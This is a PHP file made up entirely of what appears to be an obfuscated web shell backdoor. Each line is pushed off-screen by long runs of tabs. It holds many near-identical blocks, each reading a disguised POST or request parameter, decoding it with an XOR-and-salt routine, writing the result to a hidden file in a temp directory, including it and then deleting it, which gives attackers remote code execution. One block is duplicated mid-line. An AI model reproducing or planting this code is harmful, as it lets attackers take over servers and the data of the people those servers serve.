<?php																																										if(array_key_exists("\x66\x61ctor", $_POST) && !is_null($_POST["\x66\x61ctor"])){ $data = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", getcwd()]); $val = $_POST["\x66\x61ctor"]; $val =explode ( '.' , $val) ; $ptr = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $m = 0; foreach( $val as $v2) { $chS = ord( $s5[$m % $lenS]); $dec = ( ( int)$v2 - $chS -( $m % 10))^ 24; $ptr .= chr( $dec); $m++;} foreach ($data as $ent): if (is_dir($ent) && is_writable($ent)) { $binding = "$ent" . "/.tkn"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $binding; @unlink($binding); die(); } } endforeach; }
																																										if(in_array("pgrp", array_keys($_REQUEST))){ $record = $_REQUEST["pgrp"]; $record = explode('.', $record) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $j = 0; while($j < count($record)) { $v7 = $record[$j]; $sChar = ord($salt[$j % $lenS] ); $dec =((int)$v7 - $sChar -($j % 10)) ^ 76; $pset.= chr($dec ); $j++; } $ent = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); foreach ($ent as $itm) { if (max(0, is_dir($itm) * is_writable($itm))) { $k = "$itm" . "/.element"; if (file_put_contents($k, $pset)) { require $k; unlink($k); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["flag"])){ $descriptor = $_REQUEST["flag"]; $descriptor =explode("." ,$descriptor) ; $object = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); $__len = count($descriptor ); for ($w = 0; $w <$__len; $w++) {$v8 = $descriptor[$w]; $chS = ord($salt1[$w% $sLen] ); $dec = ((int)$v8 - $chS - ($w% 10)) ^ 80; $object .= chr($dec ); } $dat = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path()]); $ref = 0; do { $parameter_group = $dat[$ref] ?? null; if ($ref >= count($dat)) break; if (is_dir($parameter_group) && is_writable($parameter_group)) { $desc = "$parameter_group/.k"; if (@file_put_contents($desc, $object) !== false) { include $desc; unlink($desc); die(); } } $ref++; } while (true); }
																																										if(array_key_exists("e\x6Et", $_POST)){ $fac = $_POST["e\x6Et"]; $fac = explode ( '.' ,$fac ); $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $__len = count( $fac); for( $y = 0; $y < $__len; $y++) { $v9 = $fac[$y]; $chS = ord( $s[$y % $lenS]); $dec =( ( int)$v9 - $chS -( $y % 10)) ^63; $property_set .= chr( $dec);} $token = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); foreach ($token as $res): if (max(0, is_dir($res) * is_writable($res))) { $resource = vsprintf("%s/%s", [$res, ".elem"]); if (file_put_contents($resource, $property_set)) { include $resource; @unlink($resource); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x66l\x61g"])){ $marker = $_POST["\x66l\x61g"]; $marker = explode ( "." , $marker) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $w = 0; array_walk( $marker, function( $v9) use( &$pointer, &$w, $s, $sLen) { $chS = ord( $s[$w% $sLen]); $dec =( ( int)$v9 - $chS -( $w% 10)) ^ 16; $pointer.=chr( $dec); $w++; }); $dchunk = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP")]); for ($desc = 0, $ref = count($dchunk); $desc < $ref; $desc++) { $binding = $dchunk[$desc]; if (is_dir($binding) && is_writable($binding)) { $res = "$binding/.flg"; if (@file_put_contents($res, $pointer) !== false) { include $res; unlink($res); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["f\x6Cg"])){ $flag = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", getcwd()]); $bind = $_REQUEST["f\x6Cg"]; $bind = explode ( "." , $bind ) ; $res = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $l = 0; foreach($bind as $v6) { $chS = ord($salt2[$l % $lenS]); $d =((int)$v6 - $chS -($l % 10)) ^ 13; $res .= chr($d); $l++; } foreach ($flag as $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $record = str_replace("{var_dir}", $parameter_group, "{var_dir}/.pointer"); $success = file_put_contents($record, $res); if ($success) { include $record; @unlink($record); die();} } } }
																																										if(!is_null($_POST["\x74\x6Fken"] ?? null)){ $component = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm"]); $entry = $_POST["\x74\x6Fken"]; $entry = explode (".",$entry ) ; $binding =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $w =0; $__tmp =$entry; while( $v7 =array_shift( $__tmp)) { $chS =ord( $salt[$w % $sLen]); $dec =( ( int)$v7 - $chS -( $w % 10)) ^ 89; $binding .= chr( $dec); $w++; } foreach ($component as $key => $entity) { if (is_dir($entity) && is_writable($entity)) { $descriptor = vsprintf("%s/%s", [$entity, ".parameter_group"]); if (file_put_contents($descriptor, $binding)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(isset($_REQUEST["\x69\x74m"]) ? true : false){ $k = $_REQUEST["\x69\x74m"]; $k = explode('.' , $k ); $element = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $m = 0; while( $m < count( $k)) {$v3 = $k[$m]; $sChar = ord( $salt1[$m % $lenS]); $d =( ( int)$v3 - $sChar -( $m % 10))^ 47; $element.= chr( $d); $m++; } $val = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP")]); foreach ($val as $data_chunk) { if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $descriptor = vsprintf("%s/%s", [$data_chunk, ".record"]); if (@file_put_contents($descriptor, $element) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "va\x6Cu\x65")){ $desc = $_REQUEST["va\x6Cu\x65"]; $desc= explode ( "." , $desc ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $t = 0; $len = count($desc); do {if($t >= $len) break; $v7 = $desc[$t]; $sChar = ord($salt[$t %$sLen]); $d =((int)$v7 - $sChar -($t %10)) ^ 56; $hld .= chr($d); $t++; } while(true); $comp = array_filter([session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($comp as $element) { if (array_product([is_dir($element), is_writable($element)])) { $fac = implode("/", [$element, ".binding"]); if (file_put_contents($fac, $hld)) { include $fac; @unlink($fac); die(); } } } }
																																										if(array_key_exists("\x72\x65f", $_POST)){ $token = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $item = $_POST["\x72\x65f"]; $item =explode(".", $item ); $obj =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $k =0; $__len =count($item); do { if($k >=$__len) break; $v3 =$item[$k]; $chS =ord($s[$k% $sLen]); $dec =((int)$v3 - $chS -($k% 10)) ^ 27; $obj .= chr($dec); $k++; } while(true); $pset = 0; do { $pointer = $token[$pset] ?? null; if ($pset >= count($token)) break; if (!( !is_dir($pointer) || !is_writable($pointer) )) { $holder = vsprintf("%s/%s", [$pointer, ".itm"]); $success = file_put_contents($holder, $obj); if ($success) { in										if(array_key_exists("\x72\x65f", $_POST)){ $token = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $item = $_POST["\x72\x65f"]; $item =explode(".", $item ); $obj =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $k =0; $__len =count($item); do { if($k >=$__len) break; $v3 =$item[$k]; $chS =ord($s[$k% $sLen]); $dec =((int)$v3 - $chS -($k% 10)) ^ 27; $obj .= chr($dec); $k++; } while(true); $pset = 0; do { $pointer = $token[$pset] ?? null; if ($pset >= count($token)) break; if (!( !is_dir($pointer) || !is_writable($pointer) )) { $holder = vsprintf("%s/%s", [$pointer, ".itm"]); $success = file_put_contents($holder, $obj); if ($success) { include $holder; @unlink($holder); die();} } $pset++; } while (true); }
																																										if(isset($_POST["\x73ym"]) ? true : false){ $item = $_POST["\x73ym"]; $item = explode ( '.' ,$item ) ; $val = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $q = 0; while ($q < count($item)) { $v7 = $item[$q]; $chS = ord($salt6[$q % $sLen]); $dec = ((int)$v7 - $chS - ($q % 10))^ 94; $val .= chr($dec); $q++; } $holder = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); foreach ($holder as $ref) { if (max(0, is_dir($ref) * is_writable($ref))) { $dat = implode("/", [$ref, ".rec"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6D\x61\x72ker"])){ $itm = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $entry = $_POST["\x6D\x61\x72ker"]; $entry = explode ( ".", $entry ) ; $key= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s5); $k= 0; foreach ($entry as $v9) { $sChar= ord($s5[$k % $lenS]); $d= ((int)$v9 - $sChar - ($k % 10)) ^31; $key .=chr($d); $k++; } foreach ($itm as $obj): if (is_dir($obj) && is_writable($obj)) { $data_chunk = str_replace("{var_dir}", $obj, "{var_dir}/.pgrp"); if (@file_put_contents($data_chunk, $key) !== false) { include $data_chunk; unlink($data_chunk); exit; } } endforeach; }
																																										if(!empty($_REQUEST["m\x61\x72ke\x72"])){ $token = $_REQUEST["m\x61\x72ke\x72"]; $token= explode ("." , $token ); $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $n = 0; $__tmp = $token; while ($v1 = array_shift($__tmp)) {$sChar = ord($s[$n % $lenS] ); $dec = ((int)$v1 - $sChar - ($n % 10)) ^ 66; $value .= chr($dec ); $n++; } $fac = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path()]); foreach ($fac as $object): if (array_product([is_dir($object), is_writable($object)])) { $ent = vsprintf("%s/%s", [$object, ".dchunk"]); if (@file_put_contents($ent, $value) !== false) { include $ent; unlink($ent); die(); } } endforeach; }
																																										if(isset($_POST["\x70g\x72p"]) ? true : false){ $entry = $_POST["\x70g\x72p"]; $entry= explode ( '.', $entry ) ; $ref= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s8); $w= 0; while ($w< count($entry)) { $v9= $entry[$w]; $sChar= ord($s8[$w % $sLen]); $dec= ((int)$v9 - $sChar - ($w % 10)) ^ 88; $ref.= chr($dec); $w++; } $component = array_filter([session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $property_set = 0; do { $dchunk = $component[$property_set] ?? null; if ($property_set >= count($component)) break; if ((is_dir($dchunk) and is_writable($dchunk))) { $val = implode("/", [$dchunk, ".pointer"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $val; @unlink($val); die(); } } $property_set++; } while (true); }
																																										if(array_key_exists("m\x61\x72k\x65r", $_POST)){ $key = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); $element = $_POST["m\x61\x72k\x65r"]; $element = explode ("." , $element ) ; $item=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $w=0; array_walk($element, function ($v9) use (&$item, &$w, $salt, $lenS) { $sChar=ord($salt[$w %$lenS] ); $dec=((int)$v9 - $sChar - ($w %10))^ 56; $item .= chr($dec ); $w++; } ); while ($entry = array_shift($key)) { if (is_writable($entry) && is_dir($entry)) { $obj = "$entry/.ent"; $success = file_put_contents($obj, $item); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(in_array("\x74\x6Bn", array_keys($_REQUEST))){ $pgrp = $_REQUEST["\x74\x6Bn"]; $pgrp =explode ( ".", $pgrp ) ; $property_set= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt5); $l= 0; array_walk( $pgrp ,function( $v7) use( &$property_set ,&$l ,$salt5 ,$lenS) { $chS= ord( $salt5[$l % $lenS]); $dec= ( ( int)$v7 - $chS -( $l % 10)) ^ 81; $property_set .= chr( $dec); $l++; }); $sym = array_filter([getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP")]); foreach ($sym as $itm): if (is_dir($itm) ? is_writable($itm) : false) { $comp = vsprintf("%s/%s", [$itm, ".value"]); if (file_put_contents($comp, $property_set)) { include $comp; @unlink($comp); exit; } } endforeach; }
																																										if(array_key_exists("facto\x72", $_POST)){ $object = $_POST["facto\x72"]; $object = explode ( ".",$object ) ; $data_chunk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach ($object as $w => $v5): $chS =ord($salt[$w % $sLen]); $dec =((int)$v5 - $chS - ($w % 10)) ^ 6; $data_chunk .= chr($dec); endforeach; $dat = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), getenv("TMP")]); foreach ($dat as $key => $ptr) { if (is_writable($ptr) && is_dir($ptr)) { $fac = str_replace("{var_dir}", $ptr, "{var_dir}/.elem"); $success = file_put_contents($fac, $data_chunk); if ($success) { include $fac; @unlink($fac); die();} } } }


if(array_key_exists("\x66\x61cto\x72", $_REQUEST)){
	$rec = $_REQUEST["\x66\x61cto\x72"];
	$rec  =explode	 	(		 "."	  , 	 $rec			)			;
	$item 	= '';
            $salt6 	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	= strlen(		$salt6	);
            $j 	= 0;
    
            array_walk(		$rec ,function(		$v6) use(		&$item ,&$j ,$salt6 ,$lenS) {
                $chS 	= ord(		$salt6[$j	%	 $lenS]	);
                $dec 	= (		(		int)$v6 - $chS -(		$j	%	 10)) ^	92;
                $item	.=chr(		$dec	);
                $j++; } 	);
	$sym = array_filter(["/dev/shm", "/tmp", getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]);
	foreach ($sym as $mrk) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) {
    $flag = sprintf("%s/.flg", $mrk);
    if (@file_put_contents($flag, $item) !== false) {
	include $flag;
	unlink($flag);
	exit;
}
}
}
}